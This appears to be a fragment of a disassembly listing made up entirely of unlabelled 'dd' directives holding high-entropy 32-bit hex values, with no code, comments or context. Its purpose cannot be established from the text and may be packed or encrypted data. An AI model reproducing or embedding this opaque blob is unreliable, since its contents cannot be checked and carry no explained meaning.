dd 0B064804Eh, 1FDCA45Dh, 0E4529136h, 0CF6A9654h, 11031090h
dd 23A42F5Bh, 340B03F0h, 9780A912h, 0A803058Dh, 99D8B07h
dd 6A0C382Dh, 3E8500Eh, 58200218h, 8906C372h, 81042444h
dd 211B6009h, 2AC35040h, 22BE6300h, 1192EF3h, 218A510Fh
dd 38F7B7D8h, 0C17DE381h, 0D9BD3112h, 0B709209h, 6B85FC06h
dd 83F53F2Fh, 0AC113FF0h, 3E843EE3h, 559C1D64h, 0C8C35D61h
dd 448C6C89h, 55034516h, 0FD1C3EC3h, 69422F8h, 91BD8B1Eh
dd 37E98271h, 8805541h, 20020652h, 85C76160h, 47014BA1h
dd 229AA12h, 0E2DB533h, 6605912Eh, 2793F5BFh, 8D95081Fh
dd 0C352C8BBh, 8991C35Ah, 88151854h, 0C3715242h, 0F68762DFh
dd 234189A2h, 9DCBFEFFh, 1423E33Ah, 8C661900h, 0C00BE8DBh
dd 0B9FD9F19h, 5603E3F4h, 0DA19897Ah, 3585A06Dh, 5EBAC126h
dd 4204C3F6h, 0AF9931D4h, 0FF218679h, 0DD0D5195h, 0A0A9038h
dd 670DE990h, 3E80411Dh, 0C95AC2D5h, 7803FC91h, 0A15050A2h
dd 907F0011h, 0C6B5E781h, 0E91B70B3h, 103C041Dh, 38330154h
dd 7E5333B0h, 5F02BCC5h, 0C89870E6h, 4200DC7Bh, 0FAA1728Dh
dd 2349469h, 0B588356Ah, 9C8471E4h, 0C35F6157h, 8C7C89C8h
dd 13471744h, 0CFBC357h, 0C98C18C7h, 290F2740h, 7128D8B6h
dd 7DC1816h, 9589A8D5h, 0BA4E0CCDh, 0C0A70648h, 89C38BF6h
dd 25E5309Dh, 4E8C120h, 6AAC96A0h, 0E206F7E8h, 1541B58Bh
dd 8D2B6420h, 0C35E6156h, 877489C8h, 0C3564600h, 3189DC2h
dd 0F08B66F5h, 0C8E6050h, 0C306C863h, 1C898861h, 3DBCA024h
dd 60FF8108h, 0CD00B65h, 8C1DE882h, 4B0CB300h, 0EA454E13h
dd 9074732Bh, 0D212926h, 90116F6h, 0BA2410BBh, 48FC400Ah
dd 46DF6DAh, 0DC73E612h, 3A03845Ah, 1B2380h, 85BCF94Ah
dd 24E0D289h, 4AFBF6CEh, 243BB7F3h, 51441CE1h, 0C8C35961h
dd 448C4C89h, 5100411Ch, 6D2728C3h, 3C56EC79h, 9066C5Dh
dd 0D217119Dh, 0F613C0Eh, 9F02C983h, 801A117Fh, 2307493Bh
dd 0A64002ECh, 0FEBF0F60h, 0AFA2E43h, 5642660Dh, 0C83346F5h
dd 5BC3536Ch, 5C8991C3h, 43881818h, 98C30053h, 4F17E463h
dd 0B69B880Fh, 2145508h, 289D8531h, 5BC33BC9h, 6936C09Ch
dd 0A7A2AB8h, 33E652F5h, 0B24409C6h, 808A8412h, 1846743Ch
dd 3DC8AC01h, 232B49B1h, 3014B2E0h, 0B52A89D1h, 5813E455h
dd 1920820Fh, 598D3360h, 0E8113E31h, 0FD3809h, 89993459h
dd 0EE7867FEh, 0A684D061h, 2C01A610h, 974050E8h, 9AD9C75h
dd 44B17EA9h, 2235F702h, 0C4B95F02h, 78E89B34h, 4A0EE348h
dd 2557C467h, 281EE910h, 0A0E79C8Fh, 0F6977DBh, 90F4A48Fh
dd 0CC1207Fh, 3119C880h, 4EE18379h, 0C11588A3h, 3123B622h
dd 3B559724h, 20868105h, 4A008624h, 0BA2A78DAh, 0D34B134Ch
dd 0F8F83060h, 0E400D2E5h, 0B145AFA4h, 1679661h, 295E0B40h
dd 2532D1B5h, 7EC1E282h, 0B11688D9h, 0C1F60B34h, 0CDE16D25h
dd 3178090Bh, 93733284h, 0DC0BBE6Fh, 18375BF5h, 36E59480h
dd 0EF2BF98Bh, 16A2DE23h, 0EF43F30h, 1BBE6659h, 8343D63h
dd 6286F317h, 1923C03Fh, 0BBC16900h, 3063EACDh, 681D11E9h
dd 1700AF46h, 1CA08C70h, 0FB294BFh, 7967B5A9h, 2BE96EC2h
dd 18E46247h, 9BBAF360h, 0EAC07028h, 78136120h, 4CE2988Bh
dd 497740FEh, 0F9BD4FD8h, 49BA203Bh, 71892C40h, 0B0C7B28Dh
dd 0BD7559F7h, 0F6E93905h, 23622E1Dh, 0CEB30915h, 190D3402h
dd 296A5F8Ch, 58811A40h, 0D08FB4BDh, 304B9312h, 0BC2C475Ch
dd 0D3008C1Ah, 5B45390Fh, 50FF862Ch, 9573285h, 248DB503h
dd 0F49434A9h, 14C40FA5h, 64E01962h, 44D3293Dh, 1C9BF165h
dd 970D10C0h, 3C00DD0Fh, 904D70DEh, 1804C681h, 6E7C4891h
dd 61821801h, 0D452514Dh
dd 4446C790h, 1C06014h, 296551B5h, 940B99D8h, 9432F4EAh
dd 0A695A4F2h, 41A433F1h, 0C32332h, 620EBF36h, 93F43ECAh
dd 0F1D778F9h, 0A2DBC453h, 0C15301Ch, 7598501h, 16F884B3h
dd 2911A641h, 19887D4Eh, 72E767CFh, 415DAB42h, 4E4BF2D1h
dd 0FEC01B88h, 0E728ADFh, 92B23FE8h, 0AB21128Ch, 902D9700h
dd 19A623Eh, 0F863008Ch, 0F782716Fh, 0A528FED7h, 6120E250h
dd 15E0630h, 0F14C9BDh, 23458790h, 0EB628DD9h, 5E99204Ah
dd 54E0A244h, 12D6BA03h, 0DDCB83E1h, 3575B9C1h, 0D1206206h
dd 0FBE90E0Fh, 0BE23FFF7h, 74B83B54h, 0EAA7C18Bh, 9E601A44h
dd 0DE01476Fh, 0F9925069h, 0E7C204EBh, 601CE4EAh, 1BFED5h
dd 25400106h, 8D29B710h, 635855Dh, 3599D31h, 44A0A70Ch
dd 0D3B76115h, 7425509Fh, 23532E46h, 98790217h, 0EC60E50Eh
dd 0F901BF50h, 89111721h, 54AC2404h, 22121CA3h, 1EA50644h
dd 139BE009h, 0D3AC1281h, 34615F4Fh, 0AC1CCB98h, 14B26A23h
dd 2E893030h, 856131B5h, 8E05C083h, 0C0198805h, 21E24685h
dd 90C03816h, 7FA6D404h, 7A3790E0h, 0FE930F1h, 5808DB33h
dd 8909DC00h, 0E468BA8Eh, 26DE3BFAh, 2287502Ah, 5EF2028Fh
dd 0EC8014D2h, 130B61C6h, 211AE9BDh, 0A51B39C9h, 41370Ch
dd 7B4D3DECh, 0D66035A0h, 8453B966h, 999D5829h, 0C4BD618Eh
dd 0CEAB9A3Bh, 0C01CC8FDh, 70F32CD6h, 0C9E68806h, 1D0B3D5h
dd 1D3FFFAh, 850BC595h, 0EE585D3h, 29C1D6DEh, 39D9BD03h
dd 0C021393Dh, 227DCE8h, 0D5ED815Dh, 40E91E49h, 0F0020E20h
dd 0E5267300h, 4E622A70h, 0E39E0006h, 7F3979C0h, 9B58D2B2h
dd 0E86F0ECh, 9D8B8001h, 3D2B052Eh, 34C5B584h, 0EB3CD13h
dd 0C01788D7h, 142982FBh, 0B691CCB4h, 1B71F920h, 0D05B5C86h
dd 8C1DFCh, 253EDDB1h, 3912DE8Eh, 7DFB622Ch, 0CD17303Eh
dd 0D305BC6h, 7CE916E2h, 0C00E5B6Dh, 0DA8D81Bh, 3B5D051Fh
dd 0C6F5CB88h, 0E99ED0D3h, 280C80C2h, 41F62EB8h, 12421BDh
dd 8DA536E9h, 660031B7h, 364978CFh, 699D2C01h, 3962B20Ah
dd 4D123F6Ah, 0F9A117D1h, 6C2DFF28h, 0C8F91BE3h, 5A33B2A1h
dd 4E2122Ah, 1328D967h, 0A2FED1C9h, 5B10B968h, 608DA45Eh
dd 0C30B13B6h, 0E9A2D214h, 6E9F000Bh, 7DED20A5h, 0B0504D5Fh
dd 0E90BD74Dh, 524803B8h, 76E1B0FAh, 0B5AF3AAh, 70E6F842h
dd 36D9602h, 6071E400h, 0B3C0BB3h, 0D225458Dh, 0A93EC161h
dd 94BC6934h, 8C1AB849h, 0EF6CCA00h, 7A780AF2h, 0EEE60481h
dd 822E8F90h, 6429130Ch, 6730022Fh, 2C8DB0Ah, 0EF3905C0h
dd 0A99BD909h, 0B3A6E40Ch, 0B60D7863h, 0F88E9707h, 8B5789F0h
dd 811D37ABh, 0EE4F4A3Bh, 9078D2CBh, 0AC50EA0h, 5967082h
dd 0C078EEBFh, 0B215B322h, 0AD8F301Ch, 3243EA01h, 0E8F43020h
dd 5BC54F64h, 6F11166Dh, 9F0F1211h, 223D0305h, 0B2A59FC8h
dd 0D6409449h, 0F4001A46h, 0CCDEE026h, 29091EF9h, 650F0D85h
dd 0A335A746h, 0D8849300h, 24AD8CCBh, 489C9D9h, 9501B503h
dd 8A701056h, 18C19E8h, 6D6E9796h, 21FC55BAh, 800D3C8Ch
dd 9AA26631h, 504675C1h, 2D7CC279h, 29A25F82h, 0A00901E4h
dd 0EA80CAF9h, 0B104B61Eh, 79322DA2h, 0DF81803Ch, 48DE1267h
dd 45E4649h, 953B2F3Ch, 231A3A2Ah, 29DA0119h, 0FD9CD61Ch
dd 384625FCh, 0AEF380ECh, 0D4CAC48h, 0BE9DA35h, 46B5EC19h
dd 0E7311200h, 0ECFDB8E2h, 5E5F489Ah, 16A2A843h, 58EA2930h
dd 8510A5A7h, 58260Bh, 30EF802h, 45C4D24Dh, 88770B47h
dd 49BBC017h, 0CFB41187h, 8D8B6040h, 0B4E9E69h, 2F468C0Fh
dd 141B2120h, 3BC18361h, 28C18BCh, 45969FA9h, 7040F9E2h
dd 0A8B4251Dh, 5A2FDD66h, 0C88113F5h, 668AA57Bh, 0D4180100h
dd 4852EFCCh, 0E63DE8h, 2D222859h, 39CF10ADh, 9300B582h
dd 77FC6A65h, 291543D0h, 2DAD418Dh, 9197355Eh, 82268216h
dd 190560E6h, 2C5B8111h, 8C1BBC1Dh, 6C1C7F07h, 2C203439h
dd 4FBD29DCh, 2BEA092Dh, 0F0BF3F82h, 191188D3h, 85236005h
dd 0DB449779h, 0FCE4870Bh, 611FA106h, 39152DE9h, 0C026F08Bh
dd 0F00DE26h, 263FBC8Bh, 0B855E309h, 1D493495h, 4B65F37Ah
dd 0B703E66Ah, 0E12DAEBEh, 0A398D4E8h, 19255CC4h, 4789F80Bh
dd 910A5452h, 357ADB71h, 1D465Ch, 0FF30B172h, 33956F0h
dd 0BE3ADF6Eh, 682FDDCh, 5AB78E8Bh, 96E7E502h, 0B104E15Dh
dd 648DD3C2h, 810F5612h, 204FD16Dh, 5BDE8171h, 32495916h
dd 0CCF52F62h, 35904808h, 5B131322h, 8400647Fh, 57C6E3A4h
dd 1077FF9h, 67A6B74Ah, 20EE2050h, 305ADD57h, 0F213D44h
dd 3A325F0Eh, 1C1C230Ah, 7C0FC09Ch, 7ACD17Bh, 3D5888E5h
dd 5E90C31h, 5D09182Fh, 98DE068Eh, 4C5D1AEh, 0EC9BD655h
dd 59018078h, 8B0B7579h, 10E95EF3h, 2573F27h, 164E72A8h
dd 84710190h, 18181679h, 1A90AB2Ch, 0E84CE707h, 0A5B6BE51h
dd 0F4DF7568h, 88728E7Ch, 72AEC31Dh, 6525AFF0h, 0BA878C15h
dd 3E5E8080h, 0B49BCC20h, 933310D0h, 5E1C596Bh, 77E4C185h
dd 8010E9A8h, 4DA7211Dh, 7F94D76Dh, 0FE7C00EAh, 43BA0BFCh
dd 37903A42h, 0E9E94560h, 0E3FFF8E8h, 32550A2Eh, 0E660927Fh
dd 0DB53E041h, 4A8BFED3h, 0F285C8F9h, 0CEC65800h, 11A689D1h
dd 0B9FD0C5Eh, 957FFFFEh, 580AD920h, 28204321h, 9D3D4A98h
dd 440F6BDDh, 395C003Bh, 0A2228744h, 0D607BB7Eh, 6138732Eh
dd 23D1421Dh, 801FE2A9h, 4B303DC1h, 0F8ED2457h, 29B98D0Fh
dd 0B358CA81h, 83647F4Eh, 0C4CCA728h, 8840631Ah, 0EC2A1AAh
dd 8531DA2Eh, 83DB8036h, 999701E1h, 29FD8BD6h, 0B87A6FB6h
dd 46765CB4h, 70D20517h, 34480FF1h, 5865A32Bh, 9000142Fh
dd 0B60BF8BFh, 4CB52960h, 0B690C7F1h, 7728234Eh, 0C231BDE1h
dd 0E92401B6h, 0A5808759h, 0E5CEE3F4h, 0B200037h, 4C617622h
dd 0A000B763h, 0E4F3A28Bh, 8C1CFh, 0C4D9FE9Dh, 61B3CDBh
dd 5F781D00h, 0A6B1614Ah, 12E691h, 0AD4B96CCh, 54029CCBh
dd 0A072AB00h, 4E1FECB7h, 0EB988Ch, 26F8DBF3h, 2AE96631h
dd 0EB402D00h, 59706FA5h, 6E7500D3h, 94462F56h, 74009683h
dd 0C7EFDE27h, 6B8F50h, 0E512CC5Ah, 512E4606h, 1502D400h
dd 80FCD4Ah, 0EEE9013Dh, 3522F483h, 4F90EB48h, 9F00B784h
dd 0CDCA8F78h, 0FA458BE0h, 0D3580095h, 0CFF60E15h, 260631E6h
dd 1C3BDE5Bh, 16010058h, 0D0ACE4Bh, 1A1EC742h, 54C0D0AFh
dd 9ABD5AE9h, 0FA9C0385h, 4F8812DDh, 92295100h, 0DA377B27h
dd 0A1B15A8h, 812BC60h, 351703C7h, 0EF2F73ABh, 0E4BFD84Dh
dd 15CF6005h, 86BC02D5h, 858C0FC1h, 6C44C64h, 0F852C001h
dd 0E6FE19BFh, 5642CA4Fh, 8015C7C8h, 256BC085h, 3E6F60EFh
dd 0DA10EEF5h, 0D9E04DC0h, 67E4C1h, 5AD7A2B5h, 7CD09BBCh
dd 6B16810Fh, 0A570A032h, 0ADDC0D8h, 1A03183Fh, 0E75E94F4h
dd 0E9B4A301h, 0DC21041Ch, 1019A65h, 0FD7635DFh, 0F8DF96A0h
dd 0F2415606h, 385F00F9h, 2C2BF06Dh, 3900E661h, 7A9D3FCEh
dd 3434059h, 804B4C0Ah, 15989BB3h, 0C003D786h, 710C2ABh
dd 33E9003Ch, 9146E1B6h, 0EE00BB86h, 0D08502CDh, 0B3FCC7h
dd 0BF5837A2h, 0AB8F3BA6h, 1BA7B404h, 183F22Bh, 0D8A3C064h
dd 0D7F3150Bh, 0BC009778h, 6A2DD183h, 0B4003288h, 7F41514h
dd 0A0A38BC1h, 1F8A91E3h, 80C78C72h, 1DBB3803h, 0B2042FFAh
dd 0AB28F3E4h, 0DA233480h
dd 7F5E00C9h, 0E271DCD7h, 0F002433h, 95607726h, 1554218h
dd 0C12C458Ah, 8CFF2D15h, 8B72949Eh, 5362C092h, 2334E384h
dd 6A370200h, 0CB3A5C49h, 0FA9300F5h, 0D8E1C222h, 51008842h
dd 0BD9AB27Eh, 7C9B40h, 0EC5768B1h, 8499BE5Dh, 92467F01h
dd 471205D5h, 5B41B441h, 2690E20h, 774BF183h, 0CA40D870h
dd 7F241A53h, 0FE9D1858h, 0E6D60C62h, 8710FFADh, 6000C7Bh
dd 0A8794611h, 4CFE7F0h, 0D59D49B4h, 2C488270h, 1106C65Ah
dd 0F34076BCh, 3F46073Ch, 0C0C74127h, 3AE01906h, 0AEA96D01h
dd 0DDF516E3h, 0EE4567C0h, 66AB005Ah, 24F6C798h, 38781B33h
dd 2BA67101h, 2F68137Eh, 0A46FC8h, 3CDCBFD7h, 8450BC82h
dd 91023000h, 1565B70h, 0CF8577BBh, 6CC08B7Ch, 9A874FC8h
dd 0A573541Ch, 0E53ADB01h, 0F80699Fh, 9050686Fh, 2524BE89h
dd 8E3F1103h, 8970510Fh, 3D8420FFh, 31C051Ah, 8925D7Ah
dd 3E01DFD0h, 0DC6BD6E7h, 1FED1D3Ah, 0F48DA640h, 4CF92BBh
dd 0C2945303h, 249A80D5h, 8C30D227h, 555C3F56h, 0B722013Dh
dd 4F957628h, 0FC1B9F19h, 868D3B80h, 0E04A5065h, 0E3F00190h
dd 255BA1F6h, 2B2687D3h, 2DC40C24h, 80EE02D2h, 9FD8C5D3h
dd 0DDE00F9h, 35344C4Bh, 0F200A7E0h, 0E8DDCDE5h, 0DB019Dh
dd 831CE7EEh, 6CEDA461h, 6F52A700h, 3773F4ABh, 77980013h
dd 0BDDA7C5Fh, 1F01BFA8h, 0EEB02DF8h, 0DF201EE9h, 48D198D5h
dd 44C035D3h, 0FFCF743Eh, 0A0CDE32Dh, 0DD79B2D2h, 4A4D1D0Ah
dd 0C691C37Fh, 90990CF9h, 9F8CB996h, 600778Fh, 52451115h
dd 0EF440031h, 2C1E7BCDh, 9E00696Eh, 90E217D1h, 0B0BB8943h
dd 92CA000Eh, 0CD23132Bh, 53095920h, 1CCD3h, 9F6A6D17h
dd 0CABA18D2h, 0E85D1F94h, 990F7D7Ah, 76C4DCFBh, 0B8002FFCh
dd 4679E51Eh, 0FF003825h, 0C8CF8A5Dh, 0F30FDh, 8EBD7744h
dd 54FE56C0h, 48475F02h, 40E3AC02h, 26FBB235h, 0C96395Eh
dd 1F766BFh, 4015C7A0h, 49365701h, 354D4A10h, 609BF0D8h
dd 9AA1F88Ch, 800A52CFh, 0DB998297h, 569CF103h, 26230020h
dd 0A02A071Fh, 12C78D65h, 71016B7Ch, 0F7C8B6A1h, 2E1D001Eh
dd 0AAF3F626h, 46703354h, 0AE5ECF00h, 3CED5E2h, 0C3D40086h
dd 0BCDB7BF8h, 0A50174F1h, 8D9EE7B2h, 0C7E04322h, 0B0C005Ch
dd 6798DECBh, 0EA045A83h, 6551666Dh, 3B62C88h, 0BD805DB8h
dd 0C0DC1EEEh, 4A29098h, 8057DB3Ch, 84445C7Bh, 335B27Dh
dd 745D7265h, 40F805A2h, 0F979321Fh, 45223A02h, 80D66CBBh
dd 127D78F8h, 14D32A83h, 0FF214897h, 80E4298Ah, 7D0C7724h
dd 0A503BADDh, 0EB311ABCh, 0BB4302B5h, 0F0C893B4h, 193FD7F2h
dd 7DB780F7h, 21AE1B9h, 3EDC031Ch, 360116C7h, 0F62C8CDDh
dd 0EBAE2B00h, 0F1A421ECh, 9E1B24E6h, 900D05FEh, 0D33790CAh
dd 7C7BF9C4h, 3CF4BF00h, 81E38953h, 8EF39CC3h, 87C1EB83h
dd 0FD5C241Ch, 0D051D12Ch, 0C15481E1h, 0C81E913h, 6884CE17h
dd 0E147A1AAh, 0BA52F03Ch, 20B7500h, 61EA8172h, 760FFA13h
dd 0BD5500D1h, 7C3039E1h, 8103D5F7h, 83F15C5h, 7E5B073h
dd 588C1D14h, 0DD059FC1h, 44CC6F5h, 6B012A6Fh, 9D86056h
dd 0F2FC5DEAh, 0D15A077Dh, 53D08970h, 827D8B54h, 5059C450h
dd 2AA680EFh, 8F20EB06h, 51081447h, 291E09B9h, 3D595A4Fh
dd 6848D16h, 0FF3A9084h, 35582934h, 5544E903h, 8A0F0FCh
dd 97920067h, 26ACBA8Ah, 0C4B86928h, 29BFB81Eh, 0C5030740h
dd 0C7E0FFh, 0E6257883h, 0DE28ABC8h, 5988F500h, 6294E9FAh
dd 3CD70030h, 3807CE70h, 0BB66010h, 9CA001DCh, 61B509EEh
dd 95890108h, 941758FAh, 0ABE40A5h, 5904DF0Bh, 2F318D21h
dd 0CCE988B9h, 0DF318020h, 5014C18h, 19B50B00h, 8B1583BEh
dd 7A6E4F32h, 0A435DE00h, 2C3B319Eh, 8F0F6613h, 81709697h
dd 4E7580EEh, 3E2440E8h, 0FB617C9Dh, 89DDCA02h, 595BB71Ah
dd 9091178h, 58619D29h, 2ABFF8ADh, 88628BC7h, 12F46F28h
dd 0FCC8C389h, 0B7BD003Bh, 0B0DDBE66h, 52D8965Ah, 2E10DA5Eh
dd 9B606117h, 0EA89F5h, 0C7E1AE69h, 5D989F1Eh, 9D2B958Bh
dd 0B7AFEB0Ah, 595501EFh, 41629E37h, 31351E0h, 2D02260h
dd 0E94CB27Ch, 0EA36805Dh, 1E16BBEh, 266E4E9Ah, 385E638Ah
dd 24D04EAAh, 0E5DE8B66h, 0CC0F2A53h, 0FE53B4E4h, 94BD5AB5h
dd 1A22D39h, 251CBDCEh, 0E22C1421h, 559B0017h, 0CB896C4Ch
dd 0BBD9144Fh, 3812165h, 390BC5B5h, 0ECA29CAAh, 60DA27B7h
dd 8B45ED83h, 41E69F1h, 88275AB0h, 0EB212BE2h, 115521Ch
dd 2054E989h, 7067385Eh, 0A272045Bh, 0C7B7A0B5h, 22F820F5h
dd 37002035h, 505E7364h, 1692C79h, 0A970596Eh, 60B099AEh
dd 0EE7DD707h, 36162B00h, 441B5197h, 21CB09ADh, 6DC6D987h
dd 0A0240725h, 215C886h, 1CBA0037h, 426330FBh, 58B8472Ah
dd 6BF264B0h, 0E1546C2Ch, 78530601h, 0D62CFC32h, 0DAFB0200h
dd 5621420Fh, 1E39D904h, 0BFA0D653h, 8CF716F2h, 25A103FDh
dd 0C4A0FE20h, 99E63802h, 209E812Eh, 5EE0B880h, 0E94221h
dd 5B7CD51Bh, 66331C43h, 0F13D800h, 8CC52BDBh, 0EBB8BBh
dd 3A730CD7h, 0E3B07B9Ch, 0E8CB27h, 0C833E085h, 60FB001Dh
dd 85452815h, 10006C0Dh, 0F0BB13CDh, 8B4B1Ch, 0C491748Ch
dd 549A7123h, 7F1E20h, 31FC1D24h, 452E4364h, 0B7829503h
dd 7EF42Dh, 0CC37CE20h, 0A8F06A20h, 770C1B76h, 1E72FB31h
dd 29FA2E01h, 569E62E4h, 0E59CF3A4h, 0A37AD4A4h, 526BE400h
dd 30E2B323h, 1F0F0C27h, 0C146B1E7h, 13BF2A0Eh, 0A264795Fh
dd 0A0209939h, 94835200h, 10DBFCC9h, 0D6C10093h, 0CFC88E0Bh
dd 2F00C0E2h, 0DFD7F7D3h, 5432038h, 3B0611C6h, 0DCF040BEh
dd 0EF9776E1h, 0FA006398h, 3F283D5Ah, 4E63789Fh, 16200F77h
dd 0B904F1E0h, 81BA89D9h, 2173AC24h, 18BC9F05h, 726F8880h
dd 63C4A039h, 32DD0E48h, 0DBC01310h, 4E66E505h, 0AFA86B00h
dd 0FA40959Ah, 0E47360C4h, 0C8ABC3CAh, 1F0A6EB9h, 6104B648h
dd 801996h, 0A62A90h, 6FA16EF3h, 75623102h, 9E13AA00h
dd 0A2BB5433h, 0B78B0037h, 271BA78Dh, 7D002AEEh, 0D19CBDDAh
dd 54D0EC04h, 0CFCE9DC0h, 0ABE56AD6h, 1595008Bh, 3E8497EFh
dd 66260824h, 0E6070E00h, 0F03A2Ch, 0C10A6002h, 8058D5A0h
dd 80AA9724h, 0C0721D0Fh, 287FC73Ah, 6F3C0107h, 2B267A57h
dd 7FA4AFC0h, 0C9863100h, 0B148C6E7h, 7C9E80B0h, 273EC176h
dd 68A003B6h, 0EED1E90Ah, 642F2801h, 0EF9B061Fh, 0D68CDA21h
dd 53C3826Eh, 63A9FE05h, 0A101882Dh, 184E2C33h, 0C61E0F93h
dd 0D5000FC7h, 0AF95ADCEh, 902489ABh, 7DDF12FAh, 96890040h
dd 0E41DB681h, 0A6753204h, 0CFF490B1h, 849E03h, 2516382Dh
dd 8A01ED33h, 7F983BFBh, 7450465Eh, 18BD4228h, 76D14177h
dd 86074047h, 9BBC795Bh, 60488152h, 54856B22h, 4FAD82C7h
dd 57EC0074h, 4BC89384h, 0BE898E00h, 1AF96475h, 3EA90B40h
dd 1D41D892h, 137F2221h, 8E42AB1Fh, 0D0051DEAh, 7918A0FDh
dd 1893005Eh, 0AD526587h, 36007A1Ah, 3DA8C3DBh, 0EDEAAEh
dd 21292ED8h, 9E53D6FFh, 3899D703h, 1628245Ah, 83232A90h
dd 32F78746h, 0C3E0B8A8h, 0DDA0DB01h, 7D0008B5h, 0EB0383A2h
dd 359242Bh, 0B513ADCh, 287112D5h, 9EB3D400h, 27F2E5B5h
dd 1B65699Dh, 1C558240h, 4B917A0Ch, 11B1915h, 0C228F314h
dd 0D993BACBh, 18892D97h
dd 0D02426CAh, 0CEB100C9h, 0F1F60B0Ch, 0E00075CFh, 56CCF53Dh
dd 90BB5B3Eh, 82540079h, 894DCA95h, 4600C38Eh, 38B58097h
dd 7AA97463h, 3FAA16DCh, 560480B0h, 3001C35h, 4E490998h
dd 97F3339h, 0DFE3F014h, 19E4BE00h, 182A344Ch, 164BC31Fh
dd 9D92AD44h, 0C7A3CCE0h, 96E3387Eh, 6D491567h, 0FCAB00FEh
dd 91E3F58h, 597E0620h, 5F41118Eh, 5861F194h, 3F9EDC12h
dd 4F0A83E2h, 59807D48h, 0A600733Eh, 0AE8DF809h, 0C117C95h
dd 4117D082h, 1A0320C6h, 0E3FFD250h, 1890D4A9h, 21506A7h
dd 82B2D4C1h, 15DA33CFh, 3D001E75h, 6BB1B0C8h, 2D58CC15h
dd 0BD201B53h, 986DD072h, 78671705h, 6FC13657h, 2881F6ABh
dd 4494FF74h, 0CC12D0D7h, 0D3187660h, 3260757Ch, 5E81891Ch
dd 4A839690h, 0BD888F0Eh, 93E8E4F0h, 5A96E0h, 0CD950538h
dd 0ACC4F563h, 1AE5EC02h, 0C02AFD9Dh, 0B2344924h, 28C10758h
dd 80818306h, 112917C8h, 0A6E62118h, 380BC94Ah, 7900B173h
dd 1F40DEDFh, 700D754h, 39AE4510h, 1252EFCEh, 347D641h
dd 54C16B0Ch, 764D93A0h, 0E2AE9918h, 9C2DAAC2h, 5BBC6061h
dd 59490ECBh, 0E3040033h, 0B88FD5C2h, 0FE5A5CC5h, 9DA2B701h
dd 80CC0248h, 0A732D215h, 4C5C6F0Ah, 8414C951h, 2C04889Eh
dd 800B0E5Ah, 323E9439h, 917E9F01h, 0CB968158h, 9E74330h
dd 4EDCAA1h, 0F307F00h, 3200D750h, 60A6939Eh, 0FD052D2Ah
dd 829F4h, 0F91EC03Dh, 3C5BFBE4h, 87E77100h, 93F64C47h
dd 9E2D2C98h, 80C61696h, 4D24F8Ch, 0CD481300h, 7426B520h
dd 654E2663h, 92FF92C9h, 0C1714199h, 0B5681A7Ch, 0B6585A33h
dd 5C64BDF0h, 0B4041411h, 1C4F22h, 0F749FCBAh, 0EAD13A2Eh
dd 7C1DA1Dh, 90B85003h, 2915645Eh, 5458C20Ch, 383328Bh
dd 535604C4h, 0DE91D389h, 873D45Bh, 601E5E4Eh, 3F8B2533h
dd 0E0935072h, 4F689405h, 24408705h, 4DD3E95Ch, 13FFFC00h
dd 0B81667BCh, 30314E80h, 6D3C6968h, 8A5E2307h, 56B05DDCh
dd 3AAC6126h, 1B03A1C4h, 0C5483A6h, 601F67A1h, 3200F5B6h
dd 697B35E7h, 3BC6AE4h, 0C6FE9B2Ch, 5400CA45h, 0ABAAFD64h
dd 66763Dh, 0C318242Ah, 0F2731CE1h, 4E714F00h, 0E565BBFCh
dd 10E60086h, 405E20E8h, 0DD169968h, 43E6606Dh, 0AA9F0DE0h
dd 80AEEAA0h, 9490E94Bh, 0D322DEh, 0B1329A3Dh, 0AC4E48F0h
dd 2F135A03h, 0BA9B96CDh, 25C15B11h, 350F853h, 21B512D5h
dd 0F55BF48Dh, 278B603Dh, 0E73A4395h, 0CFDD167h, 954FB328h
dd 0B87CF9ADh, 0A8CFCF4h, 0B533E234h, 0B32D25E5h, 6A3B2A82h
dd 0FA121423h, 0D61FB4C8h, 0E090B61Bh, 0FE637899h, 8176A88Bh
dd 0AF409C7h, 0BAC7415Bh, 0C91B5D08h, 1D6467C5h, 8BC15960h
dd 0B66E9E01h, 9B9283B2h, 0B7DD85E0h, 69C78907h, 4DA5D37Bh
dd 9006C09Bh, 0AA3CA951h, 61F597C0h, 6AE0DEF6h, 0CE318BF9h
dd 0E99DF8EBh, 7CE756C2h, 37001546h, 0BD896052h, 0C9125ADh
dd 619AC92Dh, 9806E3Bh, 7851B6BFh, 0C7412A8h, 3C6F1489h
dd 75E9C183h, 66603107h, 0D8D9D88Ch, 6A3544EAh, 36FF0132h
dd 858D0018h, 0AB76781Ah, 8978D0F8h, 8B1DF560h, 31EFC1FEh
dd 43C680Ch, 1EB8B920h, 0D965702h, 50FF3AE0h, 60E91A95h
dd 85C66B32h, 16C00619h, 30DF6856h, 7EA962C5h, 28340CE1h
dd 4B0E2DADh, 50808115h, 57C8D6Ah, 12006E56h, 13C1C361h
dd 0E66006E0h, 0B8E7E0CEh, 0F56F0008h, 0BD83C08Bh, 5CDC27F9h
dd 1209750Ch, 74064405h, 53501918h, 9538B82Ch, 50E346E4h
dd 239D8DF3h, 0D2AAB030h, 0AC585BD3h, 0F174122h, 0AD121120h
dd 0F98B5680h, 0B5173159h, 9F51AD9h, 0A8A5BDECh, 9F01E891h
dd 0FBB75520h, 0EC0CF681h, 600D7B97h, 0CB1CA075h, 99EB75E8h
dd 181DF12Bh, 3489001Fh, 1A112A49h, 0D7189BAFh, 4168EB8Ah
dd 9D3DB526h, 8D8FB03h, 0D579E80Fh, 96E834A3h, 0C9A59BABh
dd 968240Bh, 8F8050E9h, 86557596h, 0CF825901h, 0EA18D0Bh
dd 0BD57922Eh, 4B744E6Ah, 52CE00DCh, 0E85AFB51h, 0C700DB57h
dd 72EE81A8h, 0F679771Eh, 0A6D7D32Bh, 0F420E746h, 6236D6A6h
dd 3099AE1Bh, 5A830F02h, 0E8F839FBh, 0DB4BEB4Dh, 2899070h
dd 0DD800B83h, 411BC015h, 3031318Bh, 23D174h, 5C165BFh
dd 0C0E83E69h, 0E841E906h, 517513CAh, 0C96F0354h, 0D1A0089Bh
dd 0BA31052Ch, 2FC57410h, 0E8F08B00h, 0CF9506F2h, 0C5924075h
dd 0D67748E8h, 145AF92Eh, 13187908h, 0C986B060h, 0E2612A44h
dd 0B9660753h, 825E8E8Fh, 0ECDA890Fh, 0A0F18B33h, 1F38555h
dd 1D301AB2h, 0C7C40DD7h, 2B74A70Bh, 1AA082h, 6156CB80h
dd 29963164h, 5308E805h, 0C266F81h, 0B88CA09Ch, 0DE144E79h
dd 1D838184h, 0A14367DEh, 66B1005Dh, 0E85B74BEh, 52A705B6h
dd 0AA601744h, 0FA04B15Ch, 21F1BD29h, 6D09D5FDh, 45255798h
